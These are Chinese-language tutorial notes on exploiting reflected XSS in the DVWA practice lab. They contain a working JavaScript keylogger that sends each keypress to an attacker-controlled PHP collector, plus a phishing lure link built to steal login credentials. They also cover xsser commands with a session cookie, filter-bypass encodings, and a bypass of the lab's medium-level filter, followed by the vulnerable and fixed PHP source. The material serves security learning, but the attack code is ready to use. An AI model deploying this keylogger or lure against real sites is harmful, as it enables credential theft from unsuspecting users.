XSS
原则上：只要XSS漏洞存在，可以编写任何功能的js脚本
【反射型漏洞利用】
键盘记录器：被记录下的数据会发送到攻击者指定的URL地址上
服务器：kali 客户端
启动apache2服务：service apache2 start
语法：<script src="http://192.168.1.127/keylogger.js"></script>
keylogger.js
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if(key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://192.168.1.127/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
~
keylogger.php 【用来接受客户端提交上来的数据】
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
>
为避免被引起用户怀疑，可将跳转命令置于html文件中
前提：用户已经登录网站，获得其cookie信息
#伪造诱人连接｛如：限时抢购门票、手机等｝，转到存在xss漏洞的页面【主要危害为登录页面】，窃取用户登录账号密码
a.hmlt
<a href="http://192.168.1.107/dvwa/vulnerabilities/xss_r/?name=<scripr+src='http://192.168.56.102/keylogger.js'></script>">诱人字眼</a>
XSS利用工具
Xsser 【专门针对XSS漏洞，使用python编写】
可使用图形化界面 xsser --gtk 【不建议使用，界面不够友好】
可绕过服务器端输入筛选 【xss存在极其普遍】
1、编码 10进制/16进制
2、函数：unecape()
简单使用语法：xsser -u "http://192.168.56.101/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=31677b04bc31eac6cd78dbb1922e8028" -s -v --reverse-check
【GET：将对应页面和参数写进-g参数中；POST：使用-P；-s：统计请求数；-v：显示详细信息；--reverse-check：禁止提交hash值方式验证（此方法存在误判）】
--heuristic 探测服务器，检查被过滤的字符（会发送大量请求）｛脑洞：sql｝ 【所有过滤机制都是基于字符过滤】
对payload编码，绕过服务器短筛选过滤 【过多编码可能造成语义误差】
*Select Bypasser(s)*:
These options can be used to encode selected vector(s) to try to
bypass possible anti-XSS filters on target(s) code and possible IPS
rules, if the target use it. Also, can be combined with other
techniques to provide encoding: --Str Use method String.FromCharCode()
--Une Use Unescape() function
--Mix Mix String.FromCharCode() and Unescape()
--Dec Use Decimal encoding
--Hex Use Hexadecimal encoding
--Hes Use Hexadecimal encoding, with semicolons
--Dwo Encode vectors IP addresses in DWORD
--Doo Encode vectors IP addresses in Octal
--Cem=CEM Try -manually- different Character Encoding Mutations
(reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')
注入技术
*Special Technique(s)*:
These options can be used to try to inject code using different type
of XSS techniques. You can choose multiple: --Coo COO - Cross Site Scripting Cookie injection
--Xsa XSA - Cross Site Agent Scripting
--Xsr XSR - Cross Site Referer Scripting
--Dcp DCP - Data Control Protocol injections
--Dom DOM - Document Object Model injections
--Ind IND - HTTP Response Splitting Induced code
--Anchor ANC - Use Anchor Stealth payloader (DOM shadows!)
--Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters
*Select Final injection(s)*:
These options can be used to specify the final code to inject in
vulnerable target(s). Important, if you want to exploit on-the-wild
your discovered vulnerabilities. Choose only one option: --Fp=FINALPAYLOAD OWN - Insert your final code to inject -manually-
--Fr=FINALREMOTE REMOTE - Insert your final code to inject -remotelly-
--Doss DOSs - XSS Denial of service (server) injection
--Dos DOS - XSS Denial of service (client) injection
--B64 B64 - Base64 code encoding in META tag (rfc2397) *Special Final injection(s)*:
These options can be used to execute some 'special' injection(s) in
vulnerable target(s). You can select multiple and combine with your
final code (except with DCP code): --Onm ONM - Use onMouseMove() event to inject code
--Ifr IFR - Use <iframe> source tag to inject code
源码分析
低安全级别 【$_GET[]:直接回显输入的数据，不做任何过滤】
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';
}
?>
中安全级别 【在输出时替换script为空，可拆分重整script为scriscriptpt】
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
echo '</pre>';
}
?>
高安全级别【htmlspecialchars():进行html编码，目前最有效的方法（并非完全不可绕过【不需要尖括号的情况：如<a href=>】）】｛可用burpsuite进行编码｝
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>';
}
?>